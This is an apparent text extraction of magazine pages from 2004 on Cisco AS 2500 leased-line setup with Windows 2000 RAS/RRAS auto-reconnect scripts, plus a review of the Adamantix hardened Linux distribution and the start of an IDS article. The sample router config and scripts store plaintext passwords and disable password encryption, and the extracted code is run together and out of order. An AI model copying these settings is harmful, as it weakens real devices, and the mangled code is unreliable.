Стоит обратить внимание на различие конфигурацийrunning-config и startup-config. Если первая хранится в ОЗУи действительна до первой перезагрузки Cisco, то втораяконфигурация хранится во NVRAM (т.е. в энергонезависи-мой памяти). В процессе запуска системы startup копирует-ся в ОЗУ и становится running. Если подать команду write(полный список параметров доступен по команде «write ?»),то текущая конфигурация запишется в NVRAM и станеттаким образом стартовой конфигурацией.

Рассмотрим на приведенном примере конфигурацию отCisco AS 2500. Строки, начинающиеся с символа «!», явля-ются комментариями.

Команда хранить пароли в «чистом» виде, незашифро-ванными:

Первая строчка устанавливает внутреннее имя для сер-вера.

Выставляем административный пароль «c» (для перехо-да на административный уровень, используя команду enable):

Указываем имя пользователя, пароль для него, где «0» –не использовать шифрование пароля.

В случае когда используется конструкция вида:

пароль шифруется в одностороннем порядке. Если уровеньшифрации установлен в «7» (шифрация с использованиемалгоритма Cisco), то есть возможность пароль декодиро-вать.

Следующие первые 2 строки устанавливают временнойпояс и время перевода с летнего времени:

Первая строчка определяет, откуда посылать DNS-зап-росы.

Для настройки ethernet-интерфейса используется сле-дующая конструкция:

где, указывая команду «nocdp enable», мы запрещаем ис-пользование протокола CDP (Cisco Discovery Protocol) наданном интерфейсе.

Когда в настройке интерфейса присутствует команда«shutdown», то интерфейс не используется. Чтобы его «под-нять», следует использовать команду «no shutdown». Serial-интерфейсы не используются, следовательно, их стоит заб-локировать.

Для того чтобы не конфигурировать каждый Async-ин-терфейс (интерфейс, к которому присоединяется модем) поотдельности, будем использовать конструкцию следующе-го типа:

! interface Group-Async0 – название группового интерфейса;! descriptionLeased Line Discipline for OutDoor Offices – ком-

ментарий для интерфейса;! ip unnumbered Ethernet0 – использовать в качестве ко-

нечной точки (?) IP-адрес интерфейса Ethernet0;! encapsulation ppp – включить использование протокола

ppp;

!! Last configuration change at 09:45:23 MSD Fri Jul 2 2004

by c2500b! NVRAM config last updated at 09:45:37 MSD Fri Jul 2 2004

by c2500b!version 12.0service timestamps debug uptimeservice timestamps log uptime

no service password-encryption!

hostname C2500!aaa new-modelaaa authentication login vty localenable secret 5 $1$PlHE$4e7IsaMq52hH/93YAFsmo/

enable password c!

!clock timezone MSK 3clock summer-time MSD recurring last Sun Mar 2:00 ↵↵↵↵↵

last Sun Oct 2:00ip subnet-zerono ip domain-lookupip domain-name tmb

username user password 5 $^%^%#

username c2500b password 0 ciscousername user password 0 pass!

ip name-server 1.2.3.200ip name-server 1.2.3.128!!process-max-time 200!

interface Ethernet0 ip address 1.2.3.100 255.255.0.0 no ip directed-broadcast no cdp enable!

interface Serial0 no ip address no ip directed-broadcast shutdown no cdp enable!interface Serial1 no ip address no ip directed-broadcast shutdown no cdp enable!

interface Group-Async0 description Leased Line Discipline for OutDoor Offices ip unnumbered Ethernet0 no ip directed-broadcast encapsulation ppp ip tcp header-compression passive async mode dedicated no cdp enable ppp authentication pap group-range 1 16 member 1 peer default ip address 1.2.3.11 member 2 peer default ip address 1.2.3.12 member 3 peer default ip address 1.2.3.13 member 4 peer default ip address 1.2.3.14 member 5 peer default ip address 1.2.3.15 member 6 peer default ip address 1.2.3.16 member 7 peer default ip address 1.2.3.17 member 8 peer default ip address 1.2.3.18!

Page 37: 022 Системный Администратор 09 2004

35№9(22), сентябрь 2004

администрирование

! ppp authentication pap – использовать аутентификациюpap;

! group-range 1 16 – применять настройки для портов сномерами от 1 по 16-й;

! async mode dedicated – используется режим выделен-ной линии;

! member 1 peer default ip address 1.2.3.11 – если соедине-ние происходит с 1-й линии (с первого порта), то выдатьIP-адрес 1.2.3.11.

На этом с интерфейсами Async разбирательства закон-чены. Продолжаем идти дальше.

Даем команду – роутинг по умолчанию заворачивать наEthernet0. Не запускаем веб-интерфейс (с него тоже можноадминистрировать).

Теперь посмотрим, как задать скорость работы с моде-мами. Асинхронные линии, как вы видели, уже настроены.

Осталось провести наладку линий от 1 по 16. Конструк-ция используется следующая:

По мере получения входящего соединения выбиратьпротокол ppp (autoselect ppp).

Более подробно об опциях модема смотрите по коман-де «modem ?».! transport input all – использовать все протоколы (pad,

rlogin, telnet, udptn, v120) при подключении к AccessServer;

! stopbits 1 – использовать один стоповый бит;! speed 19200 – скорость на линии выставить в 19200 (та-

кую же скорость надо выставить и на модеме);! flowcontrol hardware – аппаратное управление потоком.

Идем далее по конфигурации.Сервер времени находится по адресу 1.2.3.128:

Завершение конфигурации:

При подключенных модемах мы можем видеть следую-щую картину:

При этом линия №4 была активна. Администрированиепроисходит через консольный порт Cisco. Посмотрим бо-лее подробно на эту линию.

На этом с Cisco можно завершать.Неплохим клиентом по управлению Cisco является

Telconi Terminal [8].

ip classlessip route 0.0.0.0 0.0.0.0 Ethernet0no ip http server!

no cdp runbanner login _Welcome to Cisco->Metaframe Gateway_!line con 0 exec-timeout 0 0 transport input none

line 1 16 autoselect ppp modem InOut transport input all stopbits 1 speed 19200 flowcontrol hardwareline aux 0line vty 0 exec-timeout 0 0 password ciscolinevty 1 4!

ntpserver 1.2.3.128

C#sh line

Tty Typ Tx/Rx A Modem Roty AccO AccI Uses Noise Overruns Int

* 0 CTY - - - - - 0 0 0/0 -

1 TTY 19200/19200 - inout - - - 0 0 0/0 -

2 TTY 19200/19200 - inout - - - 0 0 0/0 -

3 TTY 19200/19200 - inout - - - 0 0 0/0 -

A 4 TTY 19200/19200 - inout - - - 1 0 0/0 -

5 TTY 19200/19200 - inout - - - 0 0 0/0 -

6 TTY 19200/19200 - inout - - - 0 0 0/0 -

7 TTY 19200/19200 - inout - - - 0 0 0/0 -

8 TTY 19200/19200 - inout - - - 0 0 0/0 -

9 TTY 19200/19200 - inout - - - 0 0 0/0 -

10 TTY 19200/19200 - inout - - - 0 0 0/0 -

11 TTY 19200/19200 - inout - - - 0 0 0/0 -

12 TTY 19200/19200 - inout - - - 0 0 0/0 -

13 TTY 19200/19200 - inout - - - 0 0 0/0 -

14 TTY 19200/19200 - inout - - - 0 0 0/0 -

15 TTY 19200/19200 - inout - - - 0 0 0/0 -

16 TTY 19200/19200 - inout - - - 0 0 0/0 -

17 AUX 9600/9600 - - - - - 0 0 0/0 -

18 VTY - - - - - 1 0 0/0 -

19 VTY - - - - - 1 0 0/0 -

20 VTY - - - - - 1 0 0/0 -

21 VTY - - - - - 0 0 0/0 -

VTY - - - - - 0 0 0/0 -

C#sh line 4

Tty Typ Tx/Rx A Modem Roty AccO AccI Uses Noise Overruns Int

A 4 TTY 19200/19200 - inout - - - 1 0 0/0 -

Line 4, Location: "Leased Line Discipline for OutDoor Offices", Type: ""

Length: 24 lines, Width: 80 columns

Baud rate (TX/RX) is 19200/19200, no parity, 1 stopbits, 8 databits

Status: Ready, Active, Async Interface Active

Capabilities: Hardware Flowcontrol In, Hardware Flowcontrol Out

Modem Callout, Modem RI is CD, Line is permanent async interface

Modem state: Ready

Line is running PPP for address 192.168.15.14.

0 output packets queued, 1 input packets.

Async Escape map is 00000000000000000000000000000000

Modem hardware state: CTS DSR DTR RTS

Interface Async4: (passive, compression on)

Rcvd: 0 total, 0 compressed, 0 errors

0 dropped, 0 buffer copies, 0 buffer failures

Sent: 0 total, 0 compressed,

0 bytes saved, 0 bytes sent

Connect: 16 rx slots, 16 tx slots, 0 long searches, 0 misses

Special Chars: Escape Hold Stop Start Disconnect Activation

^^x none - - none

Timeouts: Idle EXEC Idle Session Modem Answer Session Dispatch

00:10:00 never none not set

Idle Session Disconnect Warning

never

Login-sequence User Response

00:00:30

Autoselect Initial Wait

not set

Modem type is unknown.

Session limit is not set.

Time since activation: 00:02:18

Editing is enabled.

History is enabled, history size is 10.

DNS resolution in show commands is enabled

Full user help is disabled

Allowed transports are pad v120 telnet rlogin. Preferred is telnet.

No output characters are padded

No special data dispatching characters

end

Page 38: 022 Системный Администратор 09 2004

36

администрирование

Плавно переключаем наше внимание на платформуWindows. Для соединения постоянного, отказоустойчиво-го соединения следует составить свой сервис на основеутилит srvany.exe, instsrv.exe (из Resource Kit, см. также[5, 6]).

Файлы ras.cmd, srvany.exe, instsrv.exe, sleep.exe следу-ет положить в системный каталог Windows, в нашем слу-чае это C:\WINNT.PRO.

Файл ras.cmd:

Каждые 30 секунд (длительность цикла) происходитпроверка интерфейса путем посылки 7 ICMP-пакетов:

где переменная %PINGER% – адрес хоста в локальной сети,от которого мы всегда можем получить ответ. Время откли-ка выставляется с помощью переменной %PINGTIMEOUT%,равной 2,5 секунды. Откуда получились такие данные? Делов том, что когда по каналу будет идти еще и передача «тя-желых» протоколов (например, ftp), то практически вся ши-рина канала будет занята. Поэтому может произойти ситу-ация, когда канал работоспособен, а ICMP-пакеты задер-жались. Тогда программа будет считать, что интерфейсупал. В таком случае создается файл %ERR%, и в него пи-шется слово «DOWN» (т.е. нет интерфейса).

Затем принудительно убирается интерфейс с помощьюкоманды %IFSTOP%, происходит ожидание %TIMEDROP%

@Echo OffREM =======================================================REM 'Cisco2RAS' service (Win2K Pro)REM Auto-connecting / disconnecting RAS engineREM Anton Borisov, [email protected] 28 Jun 2004REM =======================================================set PINGTIMEOUT=2500

set LOG=%SystemRoot%\cisco2ras.logset ERR=%SystemRoot%\cisco2ras.errREM // 30 seconds lasts each cycleset TIME=30REM // 8 seconds to raise new interface in Leased Lineset TIMEDROP=8REM // 15 seconds for new interface to establish connectionset TIMEIF=15set IFSTOP=rasdial CiscoHub /Dset IFSTART=rasdial CiscoHub user passset MyCMD=Cisco2RASset PINGER=1.2.3.128

Echo ========[ %MyCMD% Service startup! ]======== >> %LOG%time /t >> %LOG%date /T >> %LOG%:1echo Erasing statistics file %ERR% in this cycledel %ERR%

ping %PINGER% -n 7 -w %PINGTIMEOUT% | find "TTL" || ↵↵↵↵↵echo DOWN > %ERR%

if exist %ERR% ( echo No Leased Line link found. STOP IFACE.... %IFSTOP% echo Sleeping %TIMEDROP% seconds before dropping ↵↵↵↵↵

IFACE one more time. sleep.exe %TIMEDROP% echo Dropping IFACE one more time. %IFSTOP% echo Sleeping %TIMEIF% seconds before Leased Line is set. sleep.exe %TIMEIF% echo Raising up IFACE once more time.... %IFSTART% echo _________start log________ >> %LOG% echo new IFACE is set ... >> %LOG% time /t >> %LOG% date /T >> %LOG% echo __________end log_________ >> %LOG% )

echo Sleeping %TIME% seconds in this turn;Sleep.exe %TIME%goto 1

Page 39: 022 Системный Администратор 09 2004

37№9(22), сентябрь 2004

администрирование

секунд, еще одно контрольное сбрасывание интерфейса изасыпание на %TIMEIF% секунд. Последний показатель –это время, которое нужно обоим модемам, чтобы устано-вить между собой режим выделенной линии. После этогопроисходит регистрация интерфейса командой %IFSTART%.

Обратите внимание, что в строке «set IFSTART=rasdialCiscoHub user pass» указаны имя и пароль пользователя,прописанные в Cisco AS 2500. Имя интерфейса CiscoHubмы с вами уже создавали. Вот в этом командном файлеоно и используется.

Для того чтобы не устанавливать вручную сервис, я со-здал данный регистрационный файл. Импортируйте его вреестр и перегрузите машину.

Файлras.reg:

Строки MyVersionSftw, MyVersionInfo и т. д. несут толькосмысловую нагрузку.

После перезагрузки в службах появится новый сервис.

При этом сервис настроен таким образом, что он будетавтоматически перезапущен 2 раза в случае неудачногопервоначального старта.

На этом решение для установки связи между офисом иудаленным филиалом на основе Windows 2000 Professionalи Cisco AS 2500 реализовано.

Теперь обратимся к варианту на основе RRAS дляWindows 2000 Server. Настраивается RRAS почти что анало-гичным образом, что и RAS под Windows 2000 Professional.Выбираем Start →→→→→ Settings →→→→→ Control Panel →→→→→ AdministrativeWizards →→→→→ Routing and Remote Access Server.

Выбираем настройку вручную.

REGEDIT[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ras.cmd]"Type"=dword:00000010"Start"=dword:00000002"ErrorControl"=dword:00000001"ImagePath"="C:\\WINNT.PRO\\srvany.exe""DisplayName"="Cisco2RAS""ObjectName"="LocalSystem""MyVersionSftw"="Cisco2RAS Service""MyVersionInfo"="Auto-connecting / disconnecting RAS engine""MyVersionMail"="Anton Borisov, [email protected]""MyVersionDate"="28 Jun 2004""Description"="Auto-connecting / disconnecting RAS engine""FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00, ↵↵↵↵↵

00,03,00,00,00,98,10,0e,00,01,00,00,00,e0,93,04, ↵↵↵↵↵00,01,00,00,00,e0,93,04,00,00,00,00,00,00,00,00,00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵↵↵↵↵ras.cmd\Parameters]

"Application"="C:\\WINNT.PRO\\ras.cmd"[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵↵↵↵↵

ras.cmd\Enum]"0"="Root\\LEGACY_RAS.CMD\\0000""Count"=dword:00000001"NextInstance"=dword:00000001

Page 40: 022 Системный Администратор 09 2004

38

администрирование

И происходит запуск службы, далее будем только изме-нять опции.

Добавим новый интерфейс.

И назовем его CiscoHub.

Подключаемся к нему через физическое устройство.

Которое сейчас и укажем.

Как вы видите, используется то же устройство, что и вWindows 2000 Pro.

Теперь в свойствах нужно указать необходимые опции.Следует включить опции передачи пароля в незашифро-ванной форме и производить роутинг.

Заполняем поля с именем пользователя и его паролем.

В свойствах созданного интерфейса CiscoHub укажем,что это постоянное соединение.

А также добавим статический роутинг для интерфейсаCiscoHub.

Page 41: 022 Системный Администратор 09 2004

39№9(22), сентябрь 2004

администрирование

Аналогично выглядит командный файл сервиса и reg-файл этого сервиса.

Файл rras.cmd:

Файл rras.reg:

Отличия от версии для RAS выделены красным.Любознательный читатель спросит, а в чем преимуще-

ство описанной модели? Дело в том, что при плохом каче-стве самой линии часто возникают разрывы соединения.Восстановить соединение про требованию (Call-on-Demand),когда инициатором выступает машина удаленного офиса,при использовании RRAS, несложно. Задача усложняется,когда требуется исключить влияние оператора на ход со-единения, а также требуется иметь на удаленной сторонеавтономную систему, восстанавливающую свои свойства(в данном случае соединение) при аварийных случаях.Штатными средствами решить это сложновато, особенно,когда стоит финансовая дилемма использовать Windows2000 Professional или же Windows 2000 Server.

Из опыта – при тестовых испытаниях восстановлениеинтерфейса происходило менее чем за 45 секунд. Такимобразом, предлагается полностью автоматическое управ-ление полетом.

Можно включать и пользоваться.

Источники:1. http://www.zy.com.pl/ftp/MIRROR-FTP-ZYXEL/u1496s/

document/u1496s_v1_UsersGuide.pdf2. http://www.rsdn.ru/article/net/rasadmindll.xml3. http://labmice.techtarget.com/networking/ras.htm4. http://www.petri.co.il/configure_tcp_ip_from_cmd.htm5. http://www.dynawell.com/reskit/microsoft/win2000/sleep.zip6. http://www.dynawell.com/reskit/microsoft/win2000/srvany.zip7. Cisco 2500 Series Access Server User Guide8. http://www.telconi.com/download.html9. http://www.tftp-server.com

10. http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/11. http://www.cisco.com/pcgi-bin/tablebuild.pl/tftp12. http://www.lulu.com/content/66928

@Echo OffREM =======================================================REM 'Cisco2RRAS' serviceREM Auto-connecting / disconnecting RRAS engineREM Anton Borisov, [email protected] 28 Jun 2004REM =======================================================set PINGTIMEOUT=2000set LOG=%SystemRoot%\cisco2rras.logset ERR=%SystemRoot%\cisco2rras.errREM // 30 seconds lasts each cycleset TIME=30REM // 8 seconds to raise new interface in Leased Lineset TIMEDROP=8REM // 15 seconds for new interface to establish connectionset TIMEIF=15set IFSTOP=netsh interface set interface name = ↵↵↵↵↵

CiscoHub connect = DISCONNECTset IFSTART=netsh interface set interface name = ↵↵↵↵↵

CiscoHub connect = CONNECTset IFROUTE=netsh routing ip add persistentroute ↵↵↵↵↵

192.168.0.0 255.255.0.0 CiscoHubset MyCMD=Cisco2RRASset PINGER=192.168.0.100Echo "========[ %MyCMD% Service startup! ]=======" >> %LOG%time /t >> %LOG%date /T >> %LOG%:1echo "Erasing statistics file %ERR% in this cycle"del %ERR%ping %PINGER% -n 7 -w %PINGTIMEOUT% | find "TTL" || ↵↵↵↵↵

echo DOWN > %ERR%if exist %ERR% (

echo "No reliable route found. Dropping down IFACE...".%IFSTOP%echo "Sleeping %TIMEDROP% seconds before new IFACE ↵↵↵↵↵

is raised up".sleep.exe %TIMEDROP%echo "Sleeping %TIMEIF% seconds before Leased Line is set".sleep.exe %TIMEIF%echo "Establishing new route. Raising up IFACE...".%IFSTART%%IFROUTE%echo "_________start log________" >> %LOG%echo "new IFACE is set ... " >> %LOG%time /t >> %LOG%date /T >> %LOG%echo "__________end log_________" >> %LOG%

)echo "Sleeping %TIME% seconds in this turn";Sleep.exe %TIME%goto 1

REGEDIT4[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\rras.cmd]"Type"=dword:00000010"Start"=dword:00000002"ErrorControl"=dword:00000001"ImagePath"="C:\\WINNT.SRV\\srvany.exe""DisplayName"="Cisco2RRAS""ObjectName"="LocalSystem""MyVersionSftw"="Cisco2RRAS Service""MyVersionInfo"="Auto-connecting / disconnecting RRAS engine""MyVersionMail"="Anton Borisov, [email protected]""MyVersionDate"="28 Jun 2004""Description"="Auto-connecting / disconnecting RAS engine""FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00, ↵↵↵↵↵

00,03,00,00,00,98,10,0e,00,01,00,00,00,e0,93,04, ↵↵↵↵↵00,01,00,00,00,e0,93,04,00,00,00,00,00,00,00,00,00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵↵↵↵↵rras.cmd\Parameters]

"Application"="C:\\WINNT.SRV\\rras.cmd"[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵↵↵↵↵

rras.cmd\Enum]"0"="Root\\LEGACY_RRAS.CMD\\0000""Count"=dword:00000001"NextInstance"=dword:00000001

Page 42: 022 Системный Администратор 09 2004

40

безопасность

Интернет сегодня не является дружеcтвенной средой и, кро-ме посетителей, желающих ознакомиться с ресурсом, к вамнаверняка наведываются и те, кто считает своим долгомпроверить узел на защищенность. В журнале уже многописалось о том, как собрать защищенную систему, но насамостоятельную сборку таких систем подчас уходит боль-шое количество времени, особенно при использовании не-стандартных приложений, параметры к которым приходит-ся подбирать экспериментальным путем. Сегодня мы по-знакомимся с дистрибутивом, разработчики которого пы-таются решить две противоречивые задачи: сделать мак-симально защищенную, но в то же время простую (я не ска-зал легкую) в использовании систему.

Проект Adamantix (http://www.adamantix.org) занимаетсяразработкой одноименного дистрибутива, который по заве-рениям разработчиков способен противостоять большинствусамых распространенных в Интернете атак и предохранитьот некоторых возможных проблем с безопасностью в буду-щем. Началом проекта послужил другой проект TrustedDebian (http://www.trusteddebian.org), но т.к. Debian являетсязарегистрированной торговой маркой, было принято реше-ние изменить название. В Adamantix стараются реализоватьвсе достижения Linux: графический десктоп, в будущем, воз-можно, и графический инсталлятор, автоматическое опре-деление железа, настройка звука, мультимедиа, но только содним отличием – это будет более безопасная система. Длядостижения этой цели применяются различные патчи к ядруи компилятору, более защищенные и специально протести-рованные версии программ и другие технологии, повышаю-щие общую защищенность системы. Используется толькосвободное программное обеспечение, поэтому лицензион-ных отчислений не требуется, хотя в последнее время сталактивно развиваться и коммерческий проект, расположен-ный по адресу http://www.adamantix.com.

Really incredible“... highly-secure but usable...”

КРЕПКИЙ ОРЕШЕК

СЕРГЕЙ ЯРЕМЧУК

УстановкаВ документации самими разработчиками установка назва-на как грязная, неудобная, недружественная, и сказано, чтопри неаккуратном обращении может привести к потери дан-ных. Посмотрим, может, это действительно так. Поначалу ни-чего необычного: записываем скачанный образ размером230 Мб на CD, загружаемся, жмем Enter и попадаем в кон-соль. Для ознакомления с особенностями следует прочестьфайлы FAQ, INSTALL, README и WARNING в каталоге /root.Для установки запускаем скрипт аdamantix-install, послеэтого в сотый раз предупреждают об уничтожении данных,выбираем раскладку, программу, при помощи которой бу-дем разбивать диск (fdisk, cfdisk, parted), после чего выби-раем точку монтирования для корневого и остальных раз-делов, файловую систему для вновь созданных разделов(XFS, ReiserFS, ext2/3), прописываем параметры сетевыхинтерфейсов, которые нашла программа установки, IP-ад-реса шлюза и DNS-сервера, временной пояс и сервер дляобновлений, место установки загрузчика. При этом для пе-рехода к следующему пункту выбираем continue. И под ко-нец вводим пароли для root и so (security officer). На этомвсе. Ничего страшного не произошло, человек, умеющийобращаться с указанными программами и знающий необ-ходимые параметры, вопреки всем предупреждениям ус-тановить систему все-таки сможет. И, кстати, можно уста-новить Adamantix поверх Debian 3.0 (Woody), установлен-ного в минимальной инсталляции. При этом для возможно-сти установки приложений при помощи apt-get советую за-нести один из выбранных на http://www.adamantix.org/mirrors.html серверов в файл /etc/apt/sources.list, т.к. паке-ты из Debian не перекомпилированы и не могут противо-стоять атакам переполнения буфера подобно пакетамAdamantix. Перезагружаемся. Нас встречает GRUB, в кото-ром на выбор предлагается несколько вариантов загрузки.

Page 43: 022 Системный Администратор 09 2004

41№9(22), сентябрь 2004

безопасность

лее в появившемся меню устанавливаем AUTH May Setuidв On, иначе система вас попросту не пустит, т.к. процесс несможет сменить uid, примерно такие действия придется про-делать затем и для остальных команд, которым необходи-мо изменение uid.

РаботаКонечно же, в объем 230 Мб вошло только то, что нужнодля установки и первоначальных настроек, все остальное,необходимое для работы, придется доустанавливать и на-страивать самому. Это сделано специально для того, что-бы администратор сам мог выбрать только то, что ему дей-ствительно необходимо, лишние приложения в защищен-ной системе обычно не приветствуются. Да и, как мне ка-жется, установить требуемое все-таки легче, чем убратьлишнее. Для установки и обновления приложений исполь-зуется знакомая пользователям Debian утилита apt-get суказанием нужного пакета. Если вы устанавливаетеAdamantix поверх Debian, то в первую очередь установитенеобходимые для настройки RSBAC пакеты: rsbac-adamantix, rsbac-admin, rsbac-klogd и rsbac-secpolic. Еслис установкой новых приложений проблем быть не долж-но, apt-get уже давно заслужил похвалу у пользователей,то вот с его настройкой под RSBAC придется повозиться.Что поделаешь, Adamantix не относится к тем дистрибу-тивам, которые настраиваются за пол-дня, здесь в каж-дом конкретном случае требуется индивидуальный под-ход, да и построение защищенной системы не любит спеш-ки. Кстати, за логи отвечает пакет rsbac-klogd, которыйпишет все данные по защите в /so/log/security-log, находя-щийся в домашнем каталоге пользователя so (uid=400),куда имеет доступ только пользователь so, root при пол-ной защите в него не допускается. Так что ответы на воп-росы, почему не запускаются те или иные сервисы, смот-рите там.

Далее для информации по применению RSBAC почи-тайте документы «RSBAC on Adamantix HOWTO» (http://www.adamantix.org/documentation/rsbac.html/view) и «Apachewith RSBAC Role Compatibility» (http://www.adamantix.org/documentation/rsbac.html/view), информацию на сайте про-екта RSBAC, где найдете много готовых примеров, а такжемою статью «RSBAC для Linux» в январском номере жур-нала за 2004 год и статью Станислава Иевлева «RSBAC дляначинающих» (http://linux.ru.net/~inger/RSBAC-DOC.html). Иостается открытым вопрос цены такой защиты. Конечно же,она имеется. Так, за PaX, который используется во всехядрах, придется отдать 1-2% производительности, StackSmashing Protector (SSP) забирает в зависимости от кодадо 8%, и на долю RSBAC приходится 4-5%. Последняя за-висит от количества и состава запущенных модулей (под-робнее о модулях в документации).

Единственный недостаток Adamantix – это молодость и,как следствие, отсутствие документации, в которой можнонайти готовые на все случаи рецепты, но остается тольконадеяться, что это ненадолго. И конечно же, Adamantix –дистрибутив не для всех (по крайней мере пока), но еслинеобходима максимальная защищенность будущей систе-мы и одновременно легкость в обновлении и совмести-мость, то, наверное, стоит обратить на него внимание.

Сердца AdamantixСейчас для работы используется версия 2.4.22-3 ядра, взя-тая от Debian unstable. В результате наложения тех илииных патчей получилось три ядра (в более ранних верси-ях было и четвертое) в шести вариантах (подробнее смот-рите http://www.adamantix.org/documentation/kernel.html/view): normal, softmode kernel (с префиксом -soft) и securemode kernel (-sec). Все ядра скомпилированы с поддерж-кой SSP (Stack Smashing Protector), обеспечивающей не-которую защиту от переполнения буфера, включена под-держка XFS, AES-loop, добавлены патчи защиты RSBAC(http://www.rsbac.org) и PaX (http://pageexec.virtualave.net),модуль MS (Malware Scan) с поддержкой ClamAV, включе-ны transparent proxy и модуль MPPE (encrypted PPP) и не-которые другие опции. В normal kernel отключен RSBAC,хотя здесь небольшая путаница в документации, так, в FAQсказано, что он отключен, а в документе «Adamantix KernelInformation» сказано, что включен, но, судя по надписямпри загрузке, поддержки RSBAC все-таки нет. Ядро softпредназначено в основном для первоначальной отладкиили обкатки технологии RSBAC, т.к. оно не обеспечиваетзащиту, а лишь заносит все нарушения политик в журнал.Для возможности отключения режима управления досту-пом оставлена возможность работы в режиме rsbac_softmode, для перехода в защищенный режим достаточноубрать строку в загрузчике. Также оставлена включеннойопция ядра CONFIG_MAGIC_SYSRQ, позволяющая комби-нацией <ALT + SysRq> + <command key> производить не-которые операции, к которым, правда, не всегда полезноиметь доступ пользователю (подробнее см. в /usr/src/linux/Documentation/sysrq.txt). В ядре sec, предназначенном длямаксимальной защиты, изначально отключено и запреще-но все, что есть в soft, поэтому перейти в режим soft изме-нением параметров, передаваемых ядру, не удастся. Еслине хотите возиться с настройками RSBAC, то можно ис-пользовать ядро без префикса, все равно защищенностьбудет выше благодаря применению PaX, который обеспе-чивает защиту памяти. Разработчики PaX, в отличие отдругих подобных проектов вроде OpenWall, в которых ре-ализована защита от конкретных атак, сосредоточиваютсвои усилия на защите от целых классов атак и, вероят-но, этот проект может стать единственным, о котором будeмговорить в будущем. Для сомневающихся в эффективнос-ти этой технологии на странице http://www.adamantix.org/demo.html приведены некоторые примеры и, главное, име-ются инструменты, позволяющие проверить правдивостьэтих доводов.

ЗагрузкаПри первой загрузке выскочило сообщение: «Error 15: Filenot found». Диск был разбит на такие разделы: hda1 swaphda2 /boot hda3 /var hda4 /. Все решилось изменением строкиroot hd(0,1) в конфигурации GRUB, для этого, выбрав нуж-ный пункт, нажимаем «e», и после внесения изменений длязагрузки «b», затем, чтобы не нажимать это каждый раз,редактируем конфигурационный файл загрузчика /boot/grub/menu.lst, используя vi или GNU/nano. В случае приме-нения RSBAC первоначально необходимо загрузиться в softmode и выполнить команду rsbac_fd_menu /bin/login и да-

Page 44: 022 Системный Администратор 09 2004

42

безопасность

Первые упоминания о системах обнаружения атак (IDS) от-носятся к 1980 году, и начались с публикации Джона Ан-дерсона (John Anderson) «Computer Security Threat Monitoringand Surveillance». Сегодня же их применяют как в сетях, таки устанавливают на отдельные компьютеры, как правило,в качестве второй дополнительной линии защиты (послеfirewall) для сигнализации о действиях, которые являютсязлонамеренными по своему содержанию, и остановки втор-жения. Открытость инструментов для атаки и доступностьсоответствующей информации помогает не только адми-нистраторам в изучении уязвимости систем, но и приводитк тому, что у некоторых злоумышленников, как говорят, рукичешутся. Постоянные сканирования, проверки в действииэксплоитов, попытки подбора паролей, сетевые черви – да-леко не полный список того, с чем сегодня приходится иметьдело администратору. И к сожалению, в этой ситуации IDSне всегда являются помощниками, а даже наоборот, под-час только мешают нормальной работе. В последнее вре-мя их работа все больше и больше вызывает критику за то,что они генерируют большое количество данных, в кото-рых истинные предупреждения смешаны с большим коли-чеством ложных сообщений. Учитывая, что какая-нибудьсотня предупреждений в день на сегодня – далеко не фан-тастическая цифра (а реально она гораздо больше, и рас-тет постоянно), перебрать и проанализировать поступаю-щий поток информации не в силе ни один админ, на анализинформации тратится большое количество времени, а ав-томатическое принятие решений может повлечь за собойлюбые последствия вплоть до отключения всей сети отИнтернета. Кроме того, такие системы не различают атакипо степени угрозы и реагируют на малоопасные (а то вооб-ще безопасные для данного узла) атаки или аномалии ивыдают сообщения без разбора, независимо от наличиясвязи между некоторыми действиями. Как пример послесканирования портов далеко не всегда происходит атака.Дошло дело до того, что некоторые просто отказываютсяот использования сетевых IDS или ограничивают количе-ство датчиков, чтобы не потонуть в этом море информа-

ции. Естественно, такое положение дел не могло не остатьсянезамеченным, и были предприняты попытки найти реше-ния, помогающие уменьшить объем выводимой информа-ции и увеличить точность систем обнаружения атак.

Компьютеры и IDS (настоящее время)Существует несколько классификаций IDS, некоторые изних были затронуты в статье Павла Заклякова [13], под-робно останавливаться не буду, но для понимания общеговопроса, возможно, кое-где придется повториться. Систе-мы обнаружения атак можно грубо поделить на системы,реагирующие на аномалии (например, HostSentry, исполь-зующий технологию Login Anomaly Detection), и системы, ис-пользующие технологии anomaly detection и misuse detection,например Snort. Первые, собирая некоторую статистику(продолжительность сеансов telnet, IP-адреса и пр.), отсле-живают все измения и в случае существенного отклоненияот некоторой нормы бьют тревогу. Хотя, если быть точнее,сейчас различают два типа подобных систем: statisticalanalysis system и adaptive system. Пример выше описываетстатистические системы, адаптивные же, применяя слож-ные математические модели, строят некие правила длясреды и обучаются, изучая поведение пользователей и си-стемы. Детекторы систем misuse detection реагируют на из-вестные атаки и уязвимости, предварительно занесеные вбазу данных системы в виде сигнатур. Проблемы есть уобеих систем. Первые требуют серьезных статистическихисследований и обучения, и не всегда могут отличить нор-мальные действия от злонамеренных, хотя надо отметить,это довольно перспективное направление развития системIDS, и за ними, очевидно, будущее. Вторые не могут обна-руживать новые, не занесенные в базу атаки, при этом приобнаружении новых разновидностей атак существует не-которая латентность, пока ее изучат и занесут в базу, а учи-тывая, что за полчаса сетевой вирус способен заразитьоколо 100 тысяч компьютеров, эта задержка делает беспо-лезной такие системы в самом начале эпидемии. Далее IDSделятся на Network-based IDS и Host-based IDS. NIDS про-

БЕССОННАЯ НОЧЬ АДМИНА,ИЛИ ВОЗМОЖНО ЛИ ПОВЫШЕНИЕТОЧНОСТИ IDS

СЕРГЕЙ ЯРЕМЧУК

Page 45: 022 Системный Администратор 09 2004

43№9(22), сентябрь 2004

безопасность

